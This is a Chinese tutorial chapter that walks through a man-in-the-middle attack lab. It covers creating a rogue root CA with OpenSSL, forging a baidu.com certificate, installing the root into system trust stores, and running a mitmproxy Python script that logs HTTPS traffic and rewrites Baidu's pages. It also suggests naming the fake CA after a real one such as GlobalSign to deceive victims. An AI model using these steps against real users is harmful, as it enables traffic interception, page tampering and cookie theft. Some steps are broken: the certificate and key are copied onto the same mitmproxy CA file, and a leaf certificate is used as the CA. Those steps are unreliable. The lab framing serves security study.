4、漏洞复现环境搭建:用 OpenSSL 造一个“假”CA

好,咱们进入实战环节。前面几章讲了证书链的理论漏洞,现在我要带你亲手搭建一个攻击环境。说白了,就是自己当一回“坏人”,看看中间人攻击到底是怎么绕过浏览器信任的。

我个人习惯把环境拆成三块:恶意CA、本地代理、自动化脚本。咱们一块一块来。

4.1 用 OpenSSL 创建恶意 CA

为什么要自己造一个 CA?因为真实的 CA 不会给你签发“百度.com”的证书。但攻击者可以自己建一个根 CA,然后让受害者信任它——这就是中间人攻击的起点。

我在项目中遇到过不少团队,测试环境里也用自签名证书,但根证书的私钥保护得很随意。嗯,这里要提醒你:私钥一旦泄露,整个信任体系就垮了。

核心思路: 我们创建一个自签名的根 CA,然后用它给任意域名签发证书。这个 CA 的证书会被安装到受害者的信任存储中。

操作步骤很简单,就三条命令:

  1. 生成根 CA 私钥
  2. 生成根 CA 自签名证书
  3. 用根 CA 签发目标域名证书
# 1. 生成根 CA 私钥(2048位 RSA)
openssl genrsa -out malicious_root.key 2048

# 2. 生成根 CA 自签名证书(有效期10年)
openssl req -x509 -new -nodes \
  -key malicious_root.key \
  -sha256 -days 3650 \
  -out malicious_root.crt \
  -subj "/C=CN/O=Malicious CA/CN=Malicious Root CA"

# 3. 生成目标域名私钥(比如 baidu.com)
openssl genrsa -out baidu.key 2048

# 4. 生成证书签名请求(CSR)
openssl req -new \
  -key baidu.key \
  -out baidu.csr \
  -subj "/C=CN/O=Malicious/CN=baidu.com"

# 5. 用恶意根 CA 签发证书
openssl x509 -req \
  -in baidu.csr \
  -CA malicious_root.crt \
  -CAkey malicious_root.key \
  -CAcreateserial \
  -out baidu.crt \
  -days 365 \
  -sha256
小技巧: 我习惯在 -subj 里把组织名写成跟真实 CA 相似的名字,比如 "CN=GlobalSign Root CA"。这样在证书列表里更容易迷惑人。

你看,一个能签发“百度”证书的恶意 CA 就建好了。但光有证书没用,你得让系统信任它。

4.2 安装恶意根证书到信任存储

这一步是关键。攻击者必须让受害者安装 malicious_root.crt。现实中可能是通过钓鱼邮件、软件捆绑或者社会工程学。

咱们在实验环境里手动安装:

操作系统 安装命令 / 路径
macOS sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain malicious_root.crt
Ubuntu / Debian sudo cp malicious_root.crt /usr/local/share/ca-certificates/ && sudo update-ca-certificates
Windows 双击 .crt 文件 → 安装到“受信任的根证书颁发机构”
警告: 安装完记得验证一下。用 openssl verify -CAfile malicious_root.crt baidu.crt 看看是不是提示 "OK"。我曾经有一次忘了更新证书库,折腾了半小时才发现。

4.3 配置本地代理进行中间人攻击

证书有了,接下来要拦截流量。我推荐用 mitmproxy,它比 Burp Suite 轻量,而且 Python 脚本扩展非常方便。

安装很简单:

# 用 pip 安装
pip install mitmproxy

# 启动透明代理模式(默认监听 8080 端口)
mitmproxy --mode transparent --listen-port 8080

但光启动还不够,你得让流量走代理。这里分两步:

  1. 设置系统代理:把 HTTP/HTTPS 代理指向 127.0.0.1:8080
  2. 安装 mitmproxy 的 CA 证书:访问 http://mitm.it 下载并安装

等等——我们不是有自己的恶意 CA 吗?对,这里要替换掉 mitmproxy 默认的证书。

替换 mitmproxy 证书:
# 找到 mitmproxy 的证书目录(通常在 ~/.mitmproxy/)
# 把我们的 baidu.crt 和 baidu.key 放进去
cp baidu.crt ~/.mitmproxy/mitmproxy-ca.pem
cp baidu.key ~/.mitmproxy/mitmproxy-ca.pem

# 重启 mitmproxy
mitmproxy --mode transparent --listen-port 8080 --set block_global=false

为什么要替换?因为 mitmproxy 默认签发的证书域名是 mitmproxy.com,访问百度时浏览器会报警告。换成我们的恶意 CA 签发的 baidu.com 证书,浏览器就完全信任了。

你想想看,这时候你打开浏览器访问 https://baidu.com,地址栏是不是小绿锁?但实际流量全经过你的代理——这就是中间人攻击。

4.4 Python 脚本自动化攻击流程

手动操作太慢了。真实攻击中,你需要自动化拦截、修改、记录流量。mitmproxy 提供了 Python API,咱们写个脚本。

我写了一个简单的中间人脚本,功能是:

  • 记录所有 HTTPS 请求的 URL
  • 替换响应中的特定内容(比如植入广告或恶意脚本)
  • 保存证书和会话信息
# mitm_attack.py
from mitmproxy import http
import datetime

# 记录请求日志
def request(flow: http.HTTPFlow) -> None:
    url = flow.request.pretty_url
    method = flow.request.method
    timestamp = datetime.datetime.now().isoformat()
    
    # 记录到文件
    with open("attack_log.txt", "a") as f:
        f.write(f"[{timestamp}] {method} {url}\n")
    
    # 如果是百度首页,打印提示
    if "baidu.com" in url:
        print(f"[+] 拦截到百度请求: {url}")

# 修改响应内容
def response(flow: http.HTTPFlow) -> None:
    if "baidu.com" in flow.request.pretty_url:
        # 替换页面标题
        if flow.response.content:
            content = flow.response.content.decode("utf-8", errors="ignore")
            content = content.replace("百度一下", "你已被中间人攻击")
            flow.response.content = content.encode("utf-8")
            print("[+] 已修改百度首页标题")

运行方式:

mitmproxy -s mitm_attack.py --mode transparent --listen-port 8080

这时候你访问百度,页面标题会变成“你已被中间人攻击”。当然,这只是演示。真实攻击中可能会替换 JavaScript 脚本、窃取 Cookie 或者重定向到钓鱼页面。

避坑指南: 我曾经在脚本里忘了处理 HTTPS 的证书验证,结果 mitmproxy 一直报错 "Connection refused"。后来发现是 --set block_global=false 没加——这个参数允许代理监听来自外部的连接。如果你在本地测试,记得加上。

4.5 整体架构图

下面这张图展示了整个攻击流程的脉络。我建议你对照着图,把每一步在脑子里过一遍。

中间人攻击环境架构图 攻击者 恶意 CA + 代理 受害者浏览器 信任恶意根证书 目标服务器 baidu.com 请求 转发 响应 篡改后 恶意根 CA malicious_root.crt 签发证书 baidu.com.crt mitmproxy 本地代理 :8080 Python 脚本 mitm_attack.py 攻击流程说明: 1. 攻击者创建恶意根 CA → 2. 受害者安装恶意根证书 → 3. 受害者请求 baidu.com 4. 代理拦截请求,用恶意证书与受害者建立 TLS → 5. 代理转发请求到真实服务器

4.6 验证攻击是否成功

环境搭好了,怎么确认攻击生效?我一般做三个检查:

  • 浏览器地址栏:访问 https://baidu.com,看是不是小绿锁。如果是,说明证书链被信任了。
  • 代理日志:检查 attack_log.txt,看有没有记录到请求。
  • 页面内容:看标题是不是被改成了“你已被中间人攻击”。
注意: 有些浏览器(比如 Chrome)会做证书透明度(CT)检查。如果证书没有提交到公开日志,可能会显示“不安全”。但很多企业内部应用和老旧系统根本不检查 CT——这就是漏洞所在。